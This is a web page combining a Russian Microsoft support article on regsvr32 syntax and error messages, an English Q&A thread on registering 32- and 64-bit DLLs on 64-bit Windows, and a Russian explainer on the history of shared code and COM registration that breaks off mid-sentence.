Windows 10 Pro released in July 2015 Windows Vista Enterprise Windows Vista Business Windows Vista Home Basic Windows Vista Home Premium Windows Vista Ultimate Microsoft Windows XP Home Edition Microsoft Windows XP Professional Microsoft Windows XP Tablet PC Edition Windows 7 Enterprise Windows 7 Home Basic Windows 7 Home Premium Windows 7 Professional Windows 7 Ultimate Windows 8 Windows 8 Enterprise Windows 8 Pro Windows 8.1 Windows 8.1 Enterprise Windows 8.1 Pro Еще…Меньше
Если вы получили сообщение об ошибке, описания которого нет в этой статье, можно найти его подробное объяснение, рекомендуемые действия и список дополнительных ресурсов поддержки на странице ошибок и событий TechNet.
Аннотация
Regsvr32 — это служебная программа командной строки для регистрации и отмены регистрации элементов управления OLE, например ActiveX и библиотеки DLL в реестре Windows. Средство Regsvr32.exe установлено в папке %systemroot%\System32 в ОС Windows XP и более поздних версиях Windows.
Примечание. В 64-разрядных версиях Windows есть две версии файла Regsv32.exe:
-
64-разрядная версия — %systemroot%\System32\regsvr32.exe;
-
32-разрядная версия — %systemroot%\SysWoW64\regsvr32.exe.
Синтаксис команды Regsvr32
Программа RegSvr32.exe имеет следующие параметры командной строки.
Regsvr32 [/u] [/n] [/i[:строка_команд]] DLL-файл
/u — отменяет регистрацию сервера
/i — вызывает DllInstall, передавая ей в параметре необязательную строку_команд; при использовании с ключом /u вызывает DllUnInstall.
/n — не вызывает DllRegisterServer; это может использоваться с ключом /i
/s – «тихий» режим; окна сообщений не отображаются
Типичные решения ошибок Regsvr32
При появлении ошибки Regsvr32 попробуйте устранить ее одним из следующих способов.
-
Способ 1. Повторный запуск команды Regsvr32 в командной строке с повышенными привилегиямиЧтобы открыть командную строку с повышенными привилегиями, выполните указанные ниже действия.
Windows 8.1 и Windows 8Проведите пальцем от правого края экрана к центру и коснитесь кнопки Поиск. Либо, если вы используете мышь, переместите указатель в правый нижний угол экрана и щелкните кнопку Поиск. Введите запрос Командная строка в поле Поиск, щелкните правой кнопкой мыши элемент Командная строка, затем выберите команду Запуск от имени администратора. Если система запросит пароль администратора или подтверждение, введите пароль или нажмите кнопку Разрешить.
Windows 7 и Windows VistaНажмите кнопку Пуск, введите запрос Командная строка или cmd в поле Поиск, щелкните правой кнопкой мыши элемент Командная строка, а затем выберите команду Запуск от имени администратора. Если система запросит пароль администратора или подтверждение, введите пароль или нажмите кнопку Разрешить.
Windows XPВойдите в систему в качестве администратора или с другой учетной записью с правами администратора и откройте окно «Командная строка».
-
Способ 2. Использование 32-разрядной версии Regsvr32 для регистрации 32-разрядной библиотеки DLL в 64-разрядной версии ОС WindowsЕсли при регистрации 32-разрядной библиотеки DLL в 64-разрядной версии ОС Windows появляется ошибка, выполните следующие действия.
-
Откройте командную строку с повышенными привилегиями.
-
Если 32-разрядная библиотека DLL находится в папке %systemroot%\System32, переместите ее в папку %systemroot%\SysWoW64.
-
Выполните следующую команду:
%systemroot%\SysWoW64\regsvr32 <full path of the DLL>
-
Сообщения об ошибках Regsvr32
В приведенной ниже таблице содержатся сообщения об ошибках RegSvr32 и возможные причины их возникновения.
Сообщение об ошибке |
Причина |
---|---|
Недопустимый параметр командной строки «»%1″». Проверьте использование команды и повторите попытку. |
Введено недопустимое сочетание параметров командной строки для вызова средства regsvr32.exe. |
Эта команда допустима только в том случае, если открыт проект элемента OLE Activex в Microsoft Visual Studio. |
Средство Regsvr32.exe вызвано программой Visual Studio, но в командной строке не указано ни одного модуля. |
Чтобы зарегистрировать модуль, нужно задать имя двоичного файла. |
Средство Regsvr32.exe вызвано без указания модулей в командной строке. |
Не удалось выполнить команду OleInitialize. Недостаточно свободной оперативной памяти на этом компьютере. Закройте все открытые программы и повторите попытку. |
Средство Regsvr32 должно инициализировать библиотеку COM, прежде чем вызывать ее функции, и отменить инициализацию при завершении работы. Это сообщение об ошибке выводится, если попытка инициализации или ее отмены не были успешными. |
Не удалось загрузить модуль «%1».\n\n Проверьте, что двоичный файл хранится на указанном пути или запустите отладку, чтобы диагностировать проблемы с этим двоичным файлом или зависимыми DLL-файлами.\n\n%2. |
При загрузке указанного в командной строке модуля произошла ошибка. Текст ошибки выводится как часть сообщения. |
Модуль «%1″ загружен, но точка входа %2 не найдена.\n\nПроверьте, что » %1″ является правильным файлом DLL или OCX и повторите попытку. |
Средству Regsvr32.exe не удалось найти необходимую точку входа модуля, указанного в командной строке. Это может произойти при неправильном экспорте точек входа из модуля или если модуль не является DLL- либо OCX-файлом. |
Модуль » %1″ загружен, но не удалось выполнить вызов %2, код ошибки: %3.\n\nДля получения дополнительных сведений об этой ошибке выполните поиск в Интернете, указав код ошибки как аргумент поиска. |
При вызове средством regsvr32.exe точки входа модуля, указанного в командной строке, произошла ошибка. Код ошибки выводится как часть сообщения. |
Возможно, модуль «%1» несовместим с версией Windows, работающей на этом компьютере. Проверьте, совместим ли этот модуль с x86 (32-разрядной) или x64 (64-разрядной) версией regsvr32.exe. |
Эта ошибка может произойти, если средство regsvr32.exe запущено на 32-разрядном (x86) компьютере, а в командной строке указан 64-разрядный модуль. |
В приведенной ниже таблице содержатся сообщения об ошибках RegSvr32 и возможные причины их возникновения.
Сообщение об ошибке |
Причина |
|
---|---|---|
Нераспознанный флаг: /неверный_флаг |
Введено недопустимое сочетание флагов и ключей. |
|
Не указано имя DLL. |
Не введено имя DLL-файла. |
|
Имя_DLL было загружено, но найти точку входа для DllRegisterServer или DllUnregisterServer не удалось. |
Файл с указанным именем DLL не является DLL- или OCX-файлом. Например, это сообщение об ошибке будет отображено, если введена команда regsvr32 wjview.exe. |
|
Имя_DLL не является исполняемым файлом, и ни одного модуля поддержки для этого типа файлов не зарегистрировано. |
Файл с указанным именем DLL не является исполняемым файлом EXE, DLL или OCX. Например, это сообщение об ошибке будет отображено, если введена команда regsvr32 autoexec.bat. |
|
Имя_DLL не поддерживает автоматическую регистрацию, либо в памяти находится поврежденная версия. |
Например, при вводе команды «regsvr32 icwdial.dll» будет возвращено это сообщение об ошибке, так как файл Icwdial.dll не регистрируется автоматически. При подозрении на наличие в памяти поврежденной версии файла с указанным именем DLL перезагрузите компьютер или повторно извлеките исходную версию файла. |
|
Ошибка функции OleInitialize (или OleUninitialize) |
Средство Regsvr32 должно инициализировать библиотеку COM, прежде чем вызывать ее функции, и отменить инициализацию при завершении работы. Эти сообщения об ошибке возникают, если попытка инициализации библиотеки COM или ее отмены не были успешными. Например, файл Ole32.dll поврежден или является неправильной версией. |
|
Сбой при загрузке библиотеки («Имя_DLL»). GetlastError возвращает ошибку 0x00000485 |
Winerror.h, 0x00000485 = 1157 (ERROR_DLL_NOT_FOUND). Это означает, что «Не найден один из файлов библиотек, необходимых для выполнения данного приложения». Например, при вводе команды regsvr32 missing.dll будет возвращено это сообщение об ошибке, если файл Missing.dll не найден. |
|
Сбой при загрузке библиотеки («Имя_DLL»). GetLastError возвращает ошибку 0x00000002 |
Winerror.h, 0x00000002 = 2 (ERROR_FILE_NOT_FOUND). Это означает «Не удается найти указанный файл». Т. е. не найден соответствующий DLL-файл. Например, при вводе команды regsvr32 icwdial.dll будет возвращено это сообщение об ошибке, если файл Tapi32.dll не найден. |
|
Сбой при загрузке библиотеки (dskmaint.dll). GetLastError возвращает ошибку 0x000001f |
Winerror.h, 0x000001f = 31 (ERROR_GEN_FAILURE). Это означает «Присоединенное к системе устройство не работает». Это происходит при попытке регистрации файла Win16.dll. Например, это сообщение об ошибке будет отображено, если введена команда regsvr32 dskmaint.dll. |
|
Сбой при загрузке DllRegisterServer (или DllUnregisterServer) в Имя_DLL. Возвращенный код: строка |
В файле Winerror.h найдите строку, указанную в сообщении. |
Нужна дополнительная помощь?
Нужны дополнительные параметры?
Изучите преимущества подписки, просмотрите учебные курсы, узнайте, как защитить свое устройство и т. д.
В сообществах можно задавать вопросы и отвечать на них, отправлять отзывы и консультироваться с экспертами разных профилей.
I have tried to use the following code:
cd c:\windows\system32
regsvr32.exe dllname.ax
But this is not working for me. How can I register a DLL file on Windows 7 with a 64-bit processor?
asked Feb 4, 2011 at 11:55
Rajkumar ReddyRajkumar Reddy
2,3576 gold badges24 silver badges29 bronze badges
2
Well, you don’t specify if it’s a 32 or 64 bit dll and you don’t include the error message, but I’ll guess that it’s the same issue as described in this KB article: Error Message When You Run Regsvr32.exe on 64-Bit Windows
Quote from that article:
This behavior occurs because the Regsvr32.exe file in the System32
folder is a 64-bit version. When you run Regsvr32 to register a DLL,
you are using the 64-bit version by default.
Solution from that article:
To resolve this issue, run Regsvr32.exe from the %SystemRoot%\Syswow64
folder. For example, type the following commands to register the DLL:
cd \windows\syswow64
regsvr32 c:\filename.dll
Liam
27.9k28 gold badges128 silver badges190 bronze badges
answered Feb 3, 2011 at 11:39
Hans OlssonHans Olsson
54.2k15 gold badges94 silver badges116 bronze badges
2
If the DLL is 32 bit:
Copy the DLL to C:\Windows\SysWoW64\
In an elevated command prompt: %windir%\SysWoW64\regsvr32.exe %windir%\SysWoW64\namedll.dll
if the DLL is 64 bit:
Copy the DLL to C:\Windows\System32\
In an elevated command prompt: %windir%\System32\regsvr32.exe %windir%\System32\namedll.dll
I know it seems the wrong way round, but that’s the way it works. See:
http://support.microsoft.com/kb/249873
Quote: «Note On a 64-bit version of a Windows operating system, there are two versions of the Regsv32.exe file:
The 64-bit version is %systemroot%\System32\regsvr32.exe.
The 32-bit version is %systemroot%\SysWoW64\regsvr32.exe.
»
answered Nov 15, 2012 at 11:19
2
Type regsvr32 name.dll
into the Command Prompt (executed in elevated mode!) and press «Enter.» Note that name.dll
should be replaced with the name of the DLL that you want to register. For example, if you want to register the iexplore.dll, type regsvr32 iexplore.dll
.
UnDiUdin
15k39 gold badges152 silver badges250 bronze badges
answered Feb 4, 2011 at 12:01
Harold SotaHarold Sota
7,49012 gold badges58 silver badges84 bronze badges
1
On a x64 system, system32 is for 64 bit and syswow64 is for 32 bit (not the other way around as stated in another answer). WOW (Windows on Windows) is the 32 bit subsystem that runs under the 64 bit subsystem).
It’s a mess in naming terms, and serves only to confuse, but that’s the way it is.
Again …
syswow64 is 32 bit, NOT 64 bit.
system32 is 64 bit, NOT 32 bit.
There is a regsrv32 in each of these directories. One is 64 bit, and the other is 32 bit.
It is the same deal with odbcad32 and et al. (If you want to see 32-bit ODBC drivers which won’t show up with the default odbcad32 in system32 which is 64-bit.)
answered Oct 26, 2012 at 13:11
phillphill
3113 silver badges2 bronze badges
1
Open the start menu and type cmd into the search box Hold Ctrl + Shift and press Enter
This runs the Command Prompt in Administrator mode.
Now type: regsvr32 MyComobject.dll
René Höhle
26.7k22 gold badges73 silver badges82 bronze badges
answered Oct 31, 2012 at 9:35
If the DLL is 32 bit:
- Copy the DLL to C:\Windows\SysWoW64\
- In elevated cmd: %windir%\SysWoW64\regsvr32.exe %windir%\SysWoW64\namedll.dll
if the DLL is 64 bit:
- Copy the DLL to C:\Windows\System32\
- In elevated cmd: %windir%\System32\regsvr32.exe %windir%\System32\namedll.dll
Cairnarvon
26.1k9 gold badges51 silver badges65 bronze badges
answered Jun 7, 2012 at 10:30
DragosDragos
2412 silver badges6 bronze badges
0
Finally I found the solution just run CMD as administrator then write
cd \windows\syswow64
then write this
regsvr32 c:\filename.dll
I hope that answer will help you
fancyPants
50.8k33 gold badges90 silver badges97 bronze badges
answered Aug 14, 2012 at 16:49
1
Everything here was failing as wrong path. Then I remembered a trick from the old Win95 days. Open the program folder where the .dll resides, open C:/Windows/System32 scroll down to regsvr32 and drag and drop the dll from the program folder onto rgsrver32. Boom,done.
answered Feb 4, 2014 at 13:31
ohm1ohm1
611 silver badge1 bronze badge
1
Knowing the error message would be rather valuable. It is meant to provide info, even though it doesn’t make any sense to you it does to us. Being forced to guess, I’d say that the DLL is a 32-bit DirectX filter. In which case this should be the proper course of action:
cd c:\windows\syswow64
move ..\system32\dllname.ax .
regsvr32.exe dllname.ax
This must be run at an elevated command prompt so that UAC cannot stop the registry access that’s required. Ask more questions about this at superuser.com
answered Feb 4, 2011 at 13:51
Hans PassantHans Passant
924k146 gold badges1696 silver badges2536 bronze badges
I just tested this extremely simple method and it works perfectly—but I use the built-in Administrator account, so I don’t have to jump through hoops for elevated privileges.
The following batch file relieves the user of the need to move files in/out of system folders. It also leaves it up to Windows to apply the proper version of Regsvr32
.
INSTRUCTIONS:
-
In the folder that contains the library (
-.dll
or-.ax
) file you wish to register, open a new text file and paste in ONE of the routines below :echo BEGIN DRAG-AND-DROP %n1 REGISTRAR FOR 64-BIT SYSTEMS copy %1 C:\Windows\System32 regsvr32 "%nx1" echo END BATCH FILE pause
echo BEGIN DRAG-AND-DROP %n1 REGISTRAR FOR 32-BIT SYSTEMS copy %1 C:\Windows\SysWOW64 regsvr32 "%nx1" echo END BATCH FILE pause
-
Save your new text file as a batch (
-.bat
) file; then simply drag-and-drop your-.dll
or-.ax
file on top of the batch file. -
If UAC doesn’t give you the opportunity to run the batch file as an Administrator, you may need to manually elevate privileges (instructions are for Windows 7):
- Right-click on the batch file;
- Select
Create shortcut
; - Right-click on the shortcut;
- Select
Properties
; - Click the
Compatibility
tab; - Check the box labeled
Run this program as administrator
; - Drag-and-drop your
-.dll
or-.ax
file on top of the new shortcut instead of the batch file.
That’s it. I chose COPY
instead of MOVE
to prevent the failure of any UAC-related follow-up attempt(s). Successful registration should be followed by deletion of the original library (-.dll
or -.ax
) file.
Don’t worry about copies made to the system folder (C:\Windows\System32
or C:\Windows\SysWOW64
) by previous passes—they will be overwritten every time you run the batch file.
Unless you ran the wrong batch file, in which case you will probably want to delete the copy made to the wrong system folder (C:\Windows\System32
or C:\Windows\SysWOW64
) before running the proper batch file, …or…
-
Help Windows choose the right library file to register by fully-qualifying its directory location.
- From the right batch file copy the system folder path
- If 64-bit:
C:\Windows\System32
- If 32-bit:
C:\Windows\SysWOW64
- If 64-bit:
- Paste it on the next line so that it precedes
%nx1
- If 64-bit:
regsvr32 "C:\Windows\System32\%nx1"
- If 32-bit:
regsvr32 "C:\Windows\SysWOW64\%nx1"
- Paste path inside quotation marks
- Insert backslash to separate
%nx1
from system folder path
- or …
- If 64-bit:
- From the right batch file copy the system folder path
-
Run this shotgun batch file, which will (in order):
- Perform cleanup of aborted registration processes
- Reverse any registration process completed by your library file;
- Delete any copies of your library file that have been saved to either system folder;
- Pause to allow you to terminate the batch file at this point (and run another if you would like).
- Attempt 64-Bit Installation on your library file
- Copy your library file to
C:\Windows\System32
; - Register your library file as a 64-bit process;
- Pause to allow you to terminate the batch file at this point.
- Copy your library file to
- Undo 64-Bit Installation
- Reverse any registration of your library file as a 64-bit process;
- Delete your library file from
C:\Windows\System32
; - Pause to allow you to terminate the batch file at this point (and run another if you would like).
- Attempt 32-Bit Installation on your library file
- Copy your library file to
C:\Windows\SystemWOW64
- Register your library file as a 32-bit process;
- Pause to allow you to terminate the batch file at this point.
- Copy your library file to
- Delete original, unregistered copy of library file
- Perform cleanup of aborted registration processes
answered Jun 9, 2013 at 13:25
1
There is a difference in Windows 7. Logging on as Administrator does not give the same rights as when running a program as Administrator.
Go to Start — All Programs — Accesories.
Right click on the Command window and select «Run as administrator»
Now register the dll normally via : regsrvr32 xxx.dll
answered Jun 11, 2013 at 9:57
You need run the cmd.exe
in c:\windows\system32\ by administrator
Commands:
For unregistration *.dll files
regsvr32.exe /u C:\folder\folder\name.dll
For registration *.dll files
regsvr32.exe C:\folder\folder\name.dll
answered Mar 6, 2015 at 3:50
lailslails
10511 bronze badges
Part of the confusion regarding regsvr32 is that on 64-bit windows the name and path have not changed, but it now registers 64-bit DLLs. The 32-bit regsvr32 exists in SysWOW64, a name that appears to represent 64-bit applications. However the WOW64 in the name refers to Windows on Windows 64, or more explicity Windows 32-bit on Windows 64-bit. When you think of it this way the name makes sense even though it is confusing in this context.
I cannot find my original source on an MSDN blog but it is referenced in this Wikipedia article http://en.wikipedia.org/wiki/WoW64
answered Nov 11, 2014 at 17:50
AdamAdam
1,8451 gold badge17 silver badges24 bronze badges
Here is how I fixed this issue on a Win7 x64 machine:
1 — error message:
«CoCreateInstance() failed
Plkease check your registry entries
CLSID{F088EA74-2E87-11D3-B1F3-00C0F03C37D3} and make sure you are logged in as an administrator»
2 — fix procedure:
- Start/type cmd/RightMouseClick on cmd.exe and choose to «Run as Administrator»
- typed:
regsvr32 /s C:\Program Files\Autodesk\3ds Max Design 2015\atl.dll
regsvr32 /s C:\Program Files\Autodesk\3ds Max Design 2015\MAXComponents.dll - restart Win 7 and back in business again !
Hope this helps !
answered Apr 19, 2016 at 7:45
LAOMUSIC ARTSLAOMUSIC ARTS
6422 gold badges10 silver badges15 bronze badges
Regsvr32 (Microsoft Windows Register Server) — это системная утилита, предназначающаяся для регистрации и отмены регистрации элементов управления ActiveX
, компонентов фильтров (кодеков) и компонентов библиотек DLL
в системе Windows посредством внесения изменений в реестр.
DLL (Dynamic Link Library, Библиотека Динамической Компоновки) — динамически подключаемый набор подпрограмм (функций), логически объединенных в единый бинарный файл, которые могут быть многократно/одновременно динамически загружены (использованы) различными приложениями, требующими для своего функционирования данные функции.
[краткая] история распределенного кода
Не лишним тут, я думаю, будет познакомиться с историей распределенного кода, что даст нам понимание причин возникновения и развития динамических библиотек. А это, в свою очередь, даст очевидное представление о том, какой функционал несет в себе средство regsvr32 и для чего оно, собственно, предназначается.
Линейное программирование
На заре развития языков программирования, при создании (разработке) программ использовался так называемый линейный подход, который заключался в том, что код писался/выполнялся «сверху-вниз», в четкой последовательности от начала к концу. Но как только человек научился писать код чуть сложнее, чем простой вывод фразы «Hello, World!», перед ним тут же встало несколько проблем, которые показали, что подход имеет очевидные недостатки:
- исходный код необходимо было копировать из старого проекта в новый;
- копирование старого кода приводило к ошибкам, путанице, нестыковкам, необходимости исправления и подгонки под новый проект;
Процедуры (функции)
Стояла очевидная проблема разделения, а так же многократного использования кода. Поэтому, по мере развития технологий программирования появилось процедурное (функциональное) программирование, которое было основано на том, что области кода выделялись в отдельные блоки под названием функции (процедуры), к которым имелась возможность многократного обращения (вызова) из любого места программы. Это существенно упростило архитектуру приложения, решило важную проблему дублирующегося кода, поскольку теперь вместо того, чтобы программе использовать повторяющиеся участки кода на протяжении всего процесса выполнения, проще разместить его в отдельной процедуре (функции) и многократно вызывать [по мере необходимости]. Тем не менее, данный подход требовал доработки, поскольку:
- позволял разделять код программы на логические части лишь в рамках одной языковой среды разработки.
Оверлеи
В условиях дороговизны оперативной памяти и отсутствия у многих операционных систем того времени (MSDOS) механизма виртуализации адресного пространства процесса (виртуальной памяти), обеспечивающего достаточное адресное пространство для приложений, появилась необходимость загружать в ограниченное пространство [дорогой] физической памяти много превосходящие по размеру код/данные приложений. Следствием всего этого явилось разбиение кода/данных программы на обособленные модули, получившие название оверлеев (overlay). Данный механизм непрямую не связан с разделением кода, тем не менее мы о нем упомянем, как о существенной вехе в развитии механизмов разделения кода.
Прерывания
Первой попыткой решения проблемы распределения кода был механизм программных прерываний, который позволял создавать (размещать в микрокоде BIOS) и вызывать сервисы, доступные любым операционным системам и программам. Таблица прерываний включала 255 векторов (адресов), каждый из которых задавал процедуру обслуживания определенного прерывания. Данный сервис мог лешгко программироваться пользователями, то есть любая программа могла [пере]назначить одно из доступных программных прерываний, предоставив, таким образом, общесистемный сервис. И не смотря на все положительные стороны подобного подхода, он имел и ряд серьёзных недостатков:
- Фиксированное количество сервисов, ограниченное размером таблицы векторов прерываний (255);
- Отсутствие обработки исключительных ситуаций.
- Отсутствие системы безопасности;
- Обособленный синтаксис, несовместимости с синтаксисом языков высокого уровня (необходимость оперировать низкоуровневыми регистрами);
- Отсутствие контроля типов и корректности данных;
Динамические библиотеки
Дальнейшее развитие данной концепции (а так же развитие ОС) привело к появлению динамически загружаемых библиотек (называемых упрощенно динамическими библиотеками, DLL). Отличительной особенностью было то, что обращение к функционалу этих библиотек могло осуществляться из кода на любых языках и из любых средств разработки [в рамках операционной системы]. На механизме динамических библиотек построен весь программный интерфейс (WinAPI) операционных систем Mirosoft Windows, поэтому любое API, любой сервис, так или иначе базируются на DLL. Характерная особенность динамической библиотеки заключается в том, что она может использоваться сразу несколькими приложениями, а система обеспечивает присутствие в памяти всего-лишь одного экземпляра [кода] динамической библиотеки для всех приложений, которые содержат ссылки на функции данной библиотеки. DLL имели ряд выраженных недостатков:
- при загрузке динамической библиотеки [в адресное пространство процесса] использовалось лишь её символическое имя, поскольку отсутствовал механизм устойчивой идентификации необходимых библиотек, соответственно:
- в подгруженной библиотеке [сторонней/не той версии] мог содержаться код, разрушающий структуры данных и кода вызывающего приложения.
- подгружаемая библиотека [сторонняя/не той версии] могла использовать контекст безопасности основного приложения для получения доступа к ресурсам, к которым в обычных условиях доступа у нее нет.
- не проверяется информация о типах параметров функции;
- не проверяется корректность передаваемых параметров функции;
Компонентная объектная модель (COM)
Следующим этапом развития концепции разделяемого кода стало появление компонентной объектной модели (COM, Component Object Model). COM обеспечивал возможность разделять код на отдельные независимые компоненты, которые (в отличие от предыдущих реализаций) подключались уже не по имени файла, а при помощи специального глобального идентификатора (GUID). GUID ни что иное как 128-битный глобальный идентификатор (GUID, Global Unique ID), идентифицирующий конкретный объект класса библиотеки. Каждый компонент определялся [глобально] собственным уникальным идентификатором, и в системе хранилась единая база информации по компонентам, в которой содержалась вся информация: начиная от имени файла, в котором расположен сам компонент, и заканчивая сетевыми настройками. База COM хранится в реестре, в разделе HKEY_CLASSES_ROOT:
- HKEY_CLASSES_ROOT\CLSID — GUID идентификаторов классов компонентов;
- HKEY_CLASSES_ROOT\Interface — IID идентификаторов интерфейсов (для реализующих их компонентов);
- HKEY_CLASSES_ROOT\TypeLib — Информация о файлах, в которых хранятся библиотеки;
Причем сам HKEY_CLASSES_ROOT представляет собой комбинацию разделов HKCU\Software\Classes (для текущего пользователя) и HKLM\Software\Classes (для машины в целом).
Чтобы как-то отличать идентификаторы классов от иных [похожих] системных идентификаторов, применительно к СОМ эти идентификаторы называются идентификаторами класса, и для них используется аббревиатура CLSID.
Примером значения CLSID может служить строка вида {2DB47AE5-CF39-43C2-B4D6-0CD8D90946F4}. В глобальном смысле данные уникальные номера «не повторяются» и уникально идентифицируют компоненты системы, что говорит нам об уникальности объекта класса библиотеки в пределах системы. Подразделами в этих ветках реестра могут быть:
HKCR\CLSID\<GUID>\LocalServer = <полный путь к 16-битному файлу> LocalServer32 = <полный путь к 32-битному файлу> InprocServer = <полный путь к 16-битному файлу> InprocServer32 = <полный путь к 32-битному файлу> |
То есть параметр (default)
этих ключей содержит полный путь к зарегистрированной библиотеке.
Тем не менее в компонентной объектной модели так же присутствовал ряд проблем:
- COM базируется на динамических библиотеках (в них то и размещаются компоненты). А как мы помним с DLL сохранялась проблема, связанная с совпадением имён файлов библиотек;
- База данных COM располагается в реестре, и работать с ней предлагалось напрямую, без какого-либо специализированного API. При том, что раздел базы данных является общедоступным, после продолжительной эксплуатации системы он традиционно приходил в рассогласованное состояние (приводящее к множеству системных ошибок).
Сборки (assembly)
Следующая попытка усовершенствовать механизмы распределения кода была предпринята в процессе разработки платформы .NET Framework. В процессе разработки платформы было предложено решение, в основе которого лежат так называемые сборки (assembly), которые являются наименьшими строительными блоками .NET, призванными обеспечить безопасное разделение кода в .NET-приложениях.
Сборка (assembly) — коллекция типов и ресурсов, сгруппированная в один или нескольких файлов для совместного функционирования, образующая логическую функциональную единицу.
Сборка состоит из: манифеста (описывающего сборку), метаданных (описывающих типы), откомпилированного MSIL-кода сборки (.Net-байткод), ресурсов (графика, звуки и прч). Поскольку сборки включают в себя сведения о содержимом, версиях и зависимостях, работоспособность связанных с ними приложений не зависит от внешних источников (таких как реестр). Сборки существенно снижают риск возникновения проблем с библиотеками DLL, а также повышают надежность и простоту развертывания приложений.
Смысл регистрации библиотек и элементов управления
Но, вернемся к нашим библиотекам
По какой причине, для использования функций DLL в системе непременно требуется их регистрация? Ответ: чтобы система смогла их найти!!
Казалось бы, ну помести ты DLL в рабочую директорию приложения, и вопрос с нахождением решен. Но ведь библиотеки бывают не только локальными, некоторые из них используются совместно множеством приложений, вот как раз для этой ситуации всё и затевалось!! Я думаю, вполне уместно было бы привести аналогию с системной переменной пути (%PATH%). Как Вы помните, файлы, которые располагаются в директориях, указанных в переменной %PATH%, можно запускать из командной строки без указания полного пути. В случае же отсутствия директорий в переменной %PATH%, указанные файлы невозможно будет запустить из произвольного местоположения в операционной системе, командный интерпретатор их попросту «не найдет». По аналогии и библиотеки, которые содержат функции, широко используемые различными программами, должны быть «объявлены» в системе, иначе программы не смогут их «найти». Можно утверждать, что при вызове функции из образа исполняемого файла, загрузчик Windows (менеджер, отвечающий за выделение памяти, подключение различных функций из образов памяти и прч.) должен знать откуда можно подгрузить библиотеку, содержащую требуемую функцию.
Если опираться на историю развития технологии распределенного кода, то можно сделать вывод, что regsvr32 обеспечивает регистрацию как классических библиотек DLL, так и продвинутых их собратьев, содержащих COM-объекты, поскольку со сборками .NET утилита уже не работает. Что же касается вопроса регистрации в системе применительно к библиотеке DLL на низком уровне, то она представляет собой алгоритм действий по модификации различных разделов реестра и каталогов файловой системы, результатом которого является «видимость» библиотеки приложениями. Если библиотека «сторонняя» (не системная), то регистрация библиотеки должна осуществляться на этапе инсталляции приложения, в состав которого она входит и для обслуживания функций которого она предназначается. В большинстве случаев сам процесс регистрации библиотеки выполняется при помощью вызова внешних специализированных системных утилит, либо определенной последовательности специализированных функций Windows API.
Зачастую нет необходимости самостоятельно (вручную) регистрировать DLL, практически всегда это выполняется автоматически при инсталляции компонентов системы/программы. Необходимость в ручной регистрации возникает, как правило, в случае каких-либо ошибок в системе: проблем инсталляции/деинсталляции программ, сбоях, либо в случае самостоятельно разрабатываемых DLL, которые необходимо оттестировать.
Можно рассмотреть простой пример, когда произвольно установленная в системе программа использует функцию из библиотеки, не «объявленной» в системе. В подобной ситуации загрузчик Windows на начальной стадии инициализации виртуального адресного пространства процесса выполняет импорт всех библиотек, требуемых загружаемой на выполнение программе. Если одна из библиотек, прописанных в таблице импорта исполняемого образа, отсутствует, то загрузчик выдает такое вот сообщение об ошибке:
Ошибка сообщает нам о том, что загрузчик образа cDSsvc.exe не смог найти библиотеку MFC71.DLL, необходимую ей для функционирования. Один из способов устранения данного класса ошибок состоит в повторной инсталляции программы, в ситуации, когда файл искомой библиотеки входит в состав какого-либо дистрибутива, поскольку библиотека инсталлируется автоматически скриптом инсталляции. Если библиотека входит в состав другого пакета, например Microsoft Visual C++ 2010 x64 Redistributable
, то переустановить необходимо именно его. Если же описанными способами ошибку исправить все же не удается, тогда нам на помощь приходит утилита Regsvr32.
[упрощенное] описание процесса регистрации библиотеки
Утилита regsvr32 при помощи системной функции LoadLibrary загружает библиотеку и, в зависимости от того входных параметров [командной строки], выполняет:
- ищет в библиотеке точку входа и вызывает функцию DllRegisterServer либо DllUnRegisterServer данной библиотеки и смотрит на возвращаемый результат.
- ищет в библиотеке точку входа и вызывает функции DllInstall / DllUnInstall.
Все это говорит в пользу того, что существуют определенные требования к структуре DLL, которую вы хотите регистрировать с помощью regsvr32. Для того, чтобы управляющий элемент можно было зарегистрировать с помощью regsvr32, в DLL должны быть реализованы функции DllRegisterServer, DllUnregisterServer, а при необходимости выполнения специфичных действий еще и функции DllInstall, DllUnInstall. Функции DllRegisterServer / DllUnregisterServer содержат логику, которая фактически и выполняет регистрацию библиотеки в системе, добавляя записи в реестр, требующиеся для управляющего элемента. Функции DllInstall / DllUnInstall служат для выполнения дополнительных действий, которые планирует произвести автор DLL. Поэтому помните, что:
Далеко не все DLL могут быть зарегистрированы при помощи regsvr32!
Давайте посмотрим, что же происходит в случае, когда, к примеру, не определена функция DllRegisterServer:
В этом случае мы видим на экране ошибку: «Модуль ????????.??? загружен, но точка входа DllRegisterServer не найдена». Но, давайте как перейдем, непосредственно, к самому процессу регистрации.
Новый метод
Как мы уже говорили, для регистрации библиотеки используется функция DllRegisterServer(). Функция проверяет 128-битный глобальный идентификатор (GUID, Global Unique ID) всех объектов COM/ActiveX, обнаруженных в библиотеке и последовательно прописывает информацию о них в реестр. Тут мы видим что происходит как бы не регистрация библиотеки, а регистрация объектов в библиотеках. Как мы уже говорили выше, регистрация объектов необходима, поскольку программы работают не с самими файлами DLL/OCX/ACX, а с объектами, представляющими определенный набор интерфейсов. Как мы уже упоминали, для целей регистрации DLL используется раздел реестра HKEY_CLASSES_ROOT, который представляет собой комбинацию разделов:
Таким образом можно сделать вывод, что процесс регистрации библиотеки заключается в информировании операционной системы о том, что реализация интерфейсов, предоставляемых объектом с определенным идентификатором, располагается в соответствующем файле.
Если вам необходимо поменять расположение библиотеки DLL в системе (например, поменять директорию размещения), то потребуется её перерегистрация.
Старый метод
В дополнение к современному методу работы с COM-объектами, в реестре присутствует еще и ветка HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDLLs. Могу предположить, что она относится к устаревшему методу регистрации общих библиотек DLL, базирующемуся на подсчете количества ссылок на библиотеку. Вероятно, она оставлена для совместимости и предназначена для регистрации библиотек, которые представляют собой устаревший вид библиотек, состоящих из набора функций. В этой ветке имеются параметры типа REG_DWORD, имена которых содержат полный путь к зарегистрированным в системе общим библиотекам (например: C:\Windows\system32\VBAME.DLL). Значение параметра может варьироваться от 1 до 65535. Дело в том, что значение это — счетчик использования или, как еще называют, количество ссылок. Зачастую этот метод регистрации использовался не-MSI инсталляторами. Каждый раз, когда какой-либо подобный установщик самостоятельно регистрирует в системе библиотеку, которая до этого уже была зарегистрирована кем-либо еще (то есть присутствует в SharedDLLs), он увеличивает счетчик использования на 1, когда же (например, при удалении) библиотека разрегистрируется, то счетчик уменьшается на 1. Подобная логика была реализована в первых версиях Windows для борьбы с таким явлением как «Ад DLL»(DLL Hell). У параметров некоторых библиотек можно наблюдать достаточно большие значения (4096), полагаю, таким образом маркируются критичные для системы библиотеки, и счетчик искусственно 